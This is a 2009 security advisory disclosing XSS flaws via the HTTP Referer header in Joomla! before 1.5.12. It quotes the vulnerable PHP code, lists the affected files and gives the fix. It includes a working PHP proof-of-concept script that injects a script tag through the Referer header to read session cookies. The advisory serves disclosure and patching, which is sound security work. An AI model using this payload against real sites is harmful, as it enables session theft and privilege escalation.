[ISecAuditors Security Advisories] Joomla! < 1.5.12 Multiple XSS vulnerabilities in HTTP Headers

=============================================
INTERNET SECURITY AUDITORS ALERT 2009-007

• Original release date: June 30th, 2009
• Last revised: July 2nd, 2009
• Discovered by: Juan Galiana Lara
• Severity: 6.8/10 (CVSS Base Score)
  =============================================

I. VULNERABILITY

Joomla! < 1.5.12 Multiple XSS vulnerabilities in HTTP Headers

II. BACKGROUND

Joomla! is an award-winning content management system (CMS), which
enables you to build Web sites and powerful online applications. Many
aspects, including its ease-of-use and extensibility, have made
Joomla! the most popular Web site software available. Best of all,
Joomla! is an open source solution that is freely available to everyone.

III. DESCRIPTION

Joomla! fails to sanitized user supplied input. An attacker can inject
JavaScript or DHTML code that will be executed in the context of
targeted user browser, allowing him to steal cookies. HTTP headers are
not properly parsed, concretly the HTTP_REFERER variable.

Snippet of vulnerable code:

Line 225 of file components/com_content/views/article/tmpl/form.php is
vunerable.

221 <input type="hidden" name="option" value="com_content" />
222 <input type="hidden" name="id" value="<?php echo
$this->article->id; ?>" />
223 <input type="hidden" name="version" value="<?php echo
$this->article->version; ?>" />
224 <input type="hidden" name="created_by" value="<?php echo
$this->article->created_by; ?>" />
225 <input type="hidden" name="referer" value="<?php echo
@$SERVER['HTTP_REFERER']; ?>" />
226 <?php echo JHTML::( 'form.token' ); ?>
227 <input type="hidden" name="task" value="" />
228 </form>

Other parts of code may be affected:

components/com_user/controller.php:86: $return =
@$_SERVER['HTTP_REFERER'];
plugins/system/legacy/html.php:246: echo '<a href="'.
$SERVER['HTTP_REFERER'] .'"><span class="small">'. JText::( 'BACK' )
.'</span></a>';
templates/beez/html/com_content/article/form.php:186: <input
type="hidden" name="referer" value="<?php echo
@$_SERVER['HTTP_REFERER']; ?>" />

IV. PROOF OF CONCEPT

An attacker can redirect the victim to a site with this script for
executing javascript code in the victim's browser. The PoC creates a
crafted HTTP request with malicious data in the HTTP_REFERER header.
In order to succesfully exploit it, an account with any role is
needed. For example, an user with any role can escalate privileges to
administrator.
<?php

/* PoC: XSS Joomla 1.5.11
Juan Galiana Lara
Internet Security Auditors
Jun 2009
*/

/* config */
$site='localhost';
$path='/joomla-1.5.11';
$cookname='d85558a8cf943386aaa374896bfd3d99';
$cookvalue='4ab56fdd83bcad86289726aead602699';

class cURL {
var $headers;
var $user_agent;
var $compression;
var $cookie_file;
var $proxy;
/* evil script */
var $xss='alert("PWN PWN PWN: " + document.cookie);';

function
cURL($cookies=TRUE,$cookie='cookies.txt',$compression='gzip',$proxy='') {
$this->headers[] = 'Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8';
$this->headers[] = 'Connection: Keep-Alive';
$this->headers[] = 'Content-type:
application/x-www-form-urlencoded;charset=UTF-8';
$this->headers[] = 'Referer: "><script>' . $this->xss
.'</script><span a="';
$this->user_agent = 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT
5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)';
$this->compression=$compression;
$this->proxy=$proxy;
$this->cookies=$cookies;
if ($this->cookies == TRUE) $this->cookie($cookie);
}

function cookie($cookie_file) {
if (file_exists($cookie_file)) {
$this->cookie_file=$cookie_file;
} else {
fopen($cookie_file,'w') or $this->error('The cookie file could
not be opened. Check permissions');
$this->cookie_file=$cookie_file;
fclose($this->cookie_file);
}
}

function get($url) {
$process = curl_init($url);
curl_setopt($process, CURLOPT_HTTPHEADER, $this->headers);
curl_setopt($process, CURLOPT_HEADER, 0);
curl_setopt($process, CURLOPT_USERAGENT, $this->user_agent);
if ($this->cookies == TRUE) curl_setopt($process,
CURLOPT_COOKIEFILE, $this->cookie_file);
if ($this->cookies == TRUE) curl_setopt($process,
CURLOPT_COOKIEJAR, $this->cookie_file);
curl_setopt($process,CURLOPT_ENCODING , $this->compression);
curl_setopt($process, CURLOPT_TIMEOUT, 30);
if ($this->proxy) curl_setopt($cUrl, CURLOPT_PROXY,
'proxy_ip:proxy_port');
curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1);
$return = curl_exec($process);
curl_close($process);
return $return;
}

function error($error) {
echo $error;
die;
}
}

/* set cookie */
$f=fopen("cookies.txt","w");
fwrite($f,"localhost\tFALSE\t/\tFALSE\t0\t$cookname\t$cookvalue\n");
fclose($f);

/* do request */
$cc = new cURL();
$c=$cc->get('http://' . $site . $path .
'/index.php?option=com_content&view=article&layout=form');

/* let's execute some javascript… }:-)*/
echo $c;
?>

V. BUSINESS IMPACT

An attacker can exploit the vulnerability to inyect DHTML and
JavaScript code in the context of the web browser. This may lead in
steal the targeted user cookies and gain access to the user account
icluding administrator privileges.

VI. SYSTEMS AFFECTED

Joomla! versions prior and including 1.5.11 are vulnerable.

VII. SOLUTION

Upgrade to version 1.5.12

VIII. REFERENCES

http://www.joomla.org
http://www.isecauditors.com

IX. CREDITS

This vulnerability has been discovered
by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com).

X. REVISION HISTORY

June 30, 2009: Initial release.
July 02, 2009: Last revision.

XI. DISCLOSURE TIMELINE

June 30, 2009: Discovered by Internet Security Auditors.
June 30, 2009: Vendor contacted. Fast response.
July 01, 2009: Joomla! publish update. Great job.
July 02, 2009: Advisory published.

XII. LEGAL NOTICES

The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
Internet Security Auditors accepts no responsibility for any damage
caused by the use or misuse of this information.